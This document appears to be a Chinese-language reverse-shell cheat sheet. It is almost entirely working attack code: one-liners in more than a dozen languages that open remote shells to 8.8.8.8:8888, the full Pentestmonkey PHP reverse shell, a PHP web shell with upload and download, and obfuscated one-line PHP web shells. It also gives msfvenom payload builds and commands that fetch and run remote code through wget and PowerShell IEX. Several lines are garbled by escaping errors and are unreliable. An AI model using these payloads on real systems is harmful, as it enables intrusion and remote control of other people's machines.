反弹shell收集
反弹shell
IP:8.8.8.8 Port:8888
Bash TCP
Victim
bash -c 'exec bash -i &>/dev/tcp/8.8.8.8/8888 <&1'
bash -i >& /dev/tcp/8.8.8.8/8888 0>&1
/bin/bash -i > /dev/tcp/8.8.8.8/8888 0<& 2>&1
exec 5<>/dev/tcp/8.8.8.8/8888;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/8.8.8.8/8888 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/8.8.8.8/8888; sh <&196 >&196 2>&196
Bash UDP
Victim
sh -i >& /dev/udp/8.8.8.8/8888 0>&1
Listener
nc -u -lvp 8888
Netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 8.8.8.8 8888 >/tmp/f
nc -e /bin/sh 8.8.8.8 8888
nc -e /bin/bash 8.8.8.8 8888
nc -c bash 8.8.8.8 8888
mknod backpipe p && nc 8.8.8.8 8888 0<backpipe | /bin/bash 1>backpipe
rm -f /tmp/p; mknod /tmp/p p && nc 8.8.8.8 8888 0/tmp/p 2>&1
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 8.8.8.8 8888 > f
rm -f x; mknod x p && nc 8.8.8.8 8888 0<x | /bin/bash 1>x
Ncat
ncat 8.8.8.8 8888 -e /bin/bash
ncat --udp 8.8.8.8 8888 -e /bin/bash
Telnet
TF=$(mktemp -u); mkfifo \(TF && telnet 8.8.8.8 8888 0<\)TF | /bin/sh 1>$TF
rm -f /tmp/p; mknod /tmp/p p && telnet 8.8.8.8 8888 0/tmp/p 2>&1
telnet 8.8.8.8 8888 | /bin/bash | telnet 8.8.8.8 444
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 8.8.8.8 8888 > f
rm -f x; mknod x p && telnet 8.8.8.8 8888 0<x | /bin/bash 1>x
Socat
Victim
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:8.8.8.8:8888
socat tcp-connect:8.8.8.8:8888 exec:"bash -li",pty,stderr,setsid,sigint,sane
Listener
socat file:tty
,raw,echo=0 TCP-L:8888
Victim
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:8.8.8.8:8888
Perl
Victim
perl -e 'use Socket;$i="$ENV{8.8.8.8}";$p=$ENV{8888};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -e 'use Socket;$i="8.8.8.8";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"8.8.8.8:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Windows only, Victim
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"8.8.8.8:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Python
IP v4
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("8.8.8.8"),int(os.getenv("8888"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
export RHOST="8.8.8.8";export RPORT=8888;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
IP v6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",8888,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
Windows only
python -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('8.8.8.8', 8888)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
PHP
php -r '\(sock=fsockopen(getenv("8.8.8.8"),getenv("8888"));exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '\)sock=fsockopen("8.8.8.8",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '\(s=fsockopen("8.8.8.8",8888);\)proc=proc_open("/bin/sh -i", array(0=>\(s, 1=>\)s, 2=>\(s),\)pipes);'
php -r '\(s=fsockopen("8.8.8.8",8888);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '\)s=fsockopen("8.8.8.8",8888);/bin/sh -i <&3 >&3 2>&3
;'
php -r '\(s=fsockopen("8.8.8.8",8888);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '\)s=fsockopen("8.8.8.8",8888);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$s=\'127.0.0.1\';$p=8888;@error_reporting(0);@ini_set("error_log",NULL);@ini_set("log_errors",0);@set_time_limit(0);umask(0);if($s=fsockopen($s,$p,$n,$n)){if($x=proc_open(\'/bin/sh$IFS-i\',array(array(\'pipe\',\'r\'),array(\'pipe\',\'w\'),array(\'pipe\',\'w\')),$p,getcwd())){stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);while(true){if(feof($s))die(\'connection/closed\');if(feof($p[1]))die(\'shell/not/response\');$r=array($s,$p[1],$p[2]);stream_select($r,$n,$n,null);if(in_array($s,$r))fwrite($p[0],fread($s,1024));if(in_array($p[1],$r))fwrite($s,fread($p[1],1024));if(in_array($p[2],$r))fwrite($s,fread($p[2],1024));}fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($x);}else{die("proc_open/disabled");}}else{die("not/connect");}'
Pentestmonkey's反弹shell
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '8.8.8.8'; // You have changed this
$port = 8888; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}
?>
Basic RCE
成功上传payload,只需将命令放在变量之后?cmd= (ex: ?cmd=ls -la")
&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); chdir($match[1]); } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); return featureDownload($match[1]); } else { chdir($cwd); exec($cmd, $stdout); } return array( "stdout" => $stdout, "cwd" => getcwd() ); } function featurePwd() { return array("cwd" => getcwd()); } function featureHint($fileName, $cwd, $type) { chdir($cwd); if ($type == 'cmd') { $cmd = "compgen -c $fileName"; } else { $cmd = "compgen -f $fileName"; } $cmd = "/bin/bash -c \"$cmd\""; $files = explode("\n", shell_exec($cmd)); return array( 'files' => $files, ); } function featureDownload($filePath) { $file = @file_get_contents($filePath); if ($file === FALSE) { return array( 'stdout' => array('File not found / no read permission.'), 'cwd' => getcwd() ); } else { return array( 'name' => basename($filePath), 'file' => base64_encode($file) ); } } function featureUpload($path, $file, $cwd) { chdir($cwd); $f = @fopen($path, 'wb'); if ($f === FALSE) { return array( 'stdout' => array('Invalid path / no write permission.'), 'cwd' => getcwd() ); } else { fwrite($f, base64_decode($file)); fclose($f); return array( 'stdout' => array('Done.'), 'cwd' => getcwd() ); } } if (isset($_GET["feature"])) { $response = NULL; switch ($_GET["feature"]) { case "shell": $cmd = $_POST['cmd']; if (!preg_match('/2>/', $cmd)) { $cmd .= ' 2>&1'; } $response = featureShell($cmd, $_POST["cwd"]); break; case "pwd": $response = featurePwd(); break; case "hint": $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']); break; case 'upload': $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']); } header("Content-Type: application/json"); echo json_encode($response); die(); } ?>___ ____ _ _ _ _ _ _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _| | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _| | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| |_| |___/ \____/
Obfuscated PHP Web Shell
<?=`$_GET[0]`?>
Usage : http://target.com/path/to/shell.php?0=command
<?=`$_POST[0]`?>
Usage : curl -X POST http://target.com/path/to/shell.php -d "0=command"
<?=`{$_REQUEST['_']}`?>
Usage :
•http://target.com/path/to/shell.php?=command•curl -X POST http://target.com/path/to/shell.php -d "=command"
<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>
Usage :
•http://target.com/path/to/shell.php?0=command
<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>
Usage :
•http://target.com/path/to/shell.php?=function&__=argument•http://target.com/path/to/shell.php?=system&__=ls
Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["8.8.8.8"],ENV["8888"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e'f=TCPSocket.open("8.8.8.8",8888).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("8.8.8.8","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("8.8.8.8","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
OpenSSL
Attacker
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
ncat --ssl -vv -l -p 8888
Victim
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 8.8.8.8:8888 > /tmp/s; rm /tmp/s
Powershell
powershell
-nop -c "$client = New-Object System.Net.Sockets.TCPClient('8.8.8.8',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("8.8.8.8",8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
Awk
awk 'BEGIN {s = "/inet/tcp/0/8.8.8.8/8888"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
TCLsh
echo 'set s [socket 8.8.8.8 8888];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/8.8.8.8/8888;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Thread thread = new Thread(){
public void run(){
// Reverse shell here
}
}
thread.start();
War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=8.8.8.8 LPORT=8888 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file
Lua
Linux only
lua -e "require('socket');require('os');t=socket.tcp();t:connect('8.8.8.8','8888');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Windows and Linux
lua5.1 -e 'local host, port = "8.8.8.8", 8888 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8888, "8.8.8.8", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
require('child_process').exec('nc -e /bin/sh 8.8.8.8 8888')
-var x = global.process.mainModule.require
-x('child_process').exec('nc 8.8.8.8 8888 -e /bin/bash')
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
Groovy
String host="8.8.8.8";
int port=8888;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Meterpreter Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=8888 -f exe > reverse.exe
msfvenom -p windows/shell_reverse_tcp LHOST=8.8.8.8 LPORT=8888 -f exe > reverse.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=8888 -f elf >reverse.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=8.8.8.8 LPORT=8888 -f elf >reverse.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f exe > shell.exe
msfvenom -p osx/x86/shell_reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f macho > shell.macho
msfvenom -p windows/meterpreter/reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f war > shell.war
msfvenom -p cmd/unix/reverse_python LHOST="8.8.8.8" LPORT=8888 -f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST="8.8.8.8" LPORT=8888 -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST="8.8.8.8" LPORT=8888 -f raw > shell.pl
Xterm
xterm -display 8.8.8.8:1
Xnest :1
xhost +targetip
Golang
package main
import (
"fmt"
"net"
"strings"
"io/ioutil"
"log"
"os/exec"
)
func cmd_connect(c net.Conn) {
if c == nil {
return
}
buf := make([]byte, 4096)
for {
cnt, err := c.Read(buf)
if err != nil || cnt == 0 {
c.Close()
break
}
inStr := strings.TrimSpace(string(buf[0:cnt]))
inputs := strings.Split(inStr, " ")
switch inputs[0] {
case "quit":
c.Close()
break
default:
var cmd_str string
for _,value := range inputs {
if cmd_str == "" {
cmd_str = value
}else {
cmd_str = cmd_str+" "+value
}
}
cmd := exec.Command("/bin/bash","-c",cmd_str)
stdout, err := cmd.StdoutPipe()
if err != nil {
log.Fatal(err)
}
defer stdout.Close()
if err := cmd.Start(); err != nil {
log.Fatal(err)
}
// 读取输出结果
opBytes, err := ioutil.ReadAll(stdout)
if err != nil {
log.Fatal(err)
}
c.Write([]byte(opBytes))
}
}
}
func main() {
server, err := net.Listen("tcp", ":1208")
if err != nil {
fmt.Printf("Fail to start server, %s\n", err)
}
for {
conn, err := server.Accept()
if err != nil {
break
}
go cmd_connect(conn)
}
}
反向连接
package main
import (
"io"
"net"
"io/ioutil"
"log"
"os/exec"
)
var (
cmd string
line string
)
func main() {
addr := "127.0.0.1:8080" //远程连接主机名
conn,err := net.Dial("tcp",addr) //拨号操作,用于连接服务端,需要指定协议。
if err != nil {
log.Fatal(err)
}
buf := make([]byte,10240) //定义一个切片的长度是10240。
for {
n,err := conn.Read(buf) //接受的命令
if err != nil && err != io.EOF { //io.EOF在网络编程中表示对端把链接关闭了。
log.Fatal(err)
}
cmd_str := string(buf[:n])
cmd := exec.Command("/bin/bash","-c",cmd_str) //命令执行
stdout, err := cmd.StdoutPipe()
if err != nil {
log.Fatal(err)
}
defer stdout.Close()
if err := cmd.Start(); err != nil {
log.Fatal(err)
}
opBytes, err := ioutil.ReadAll(stdout)
if err != nil {
log.Fatal(err)
}
conn.Write([]byte(opBytes)) //返回执行结果
}
}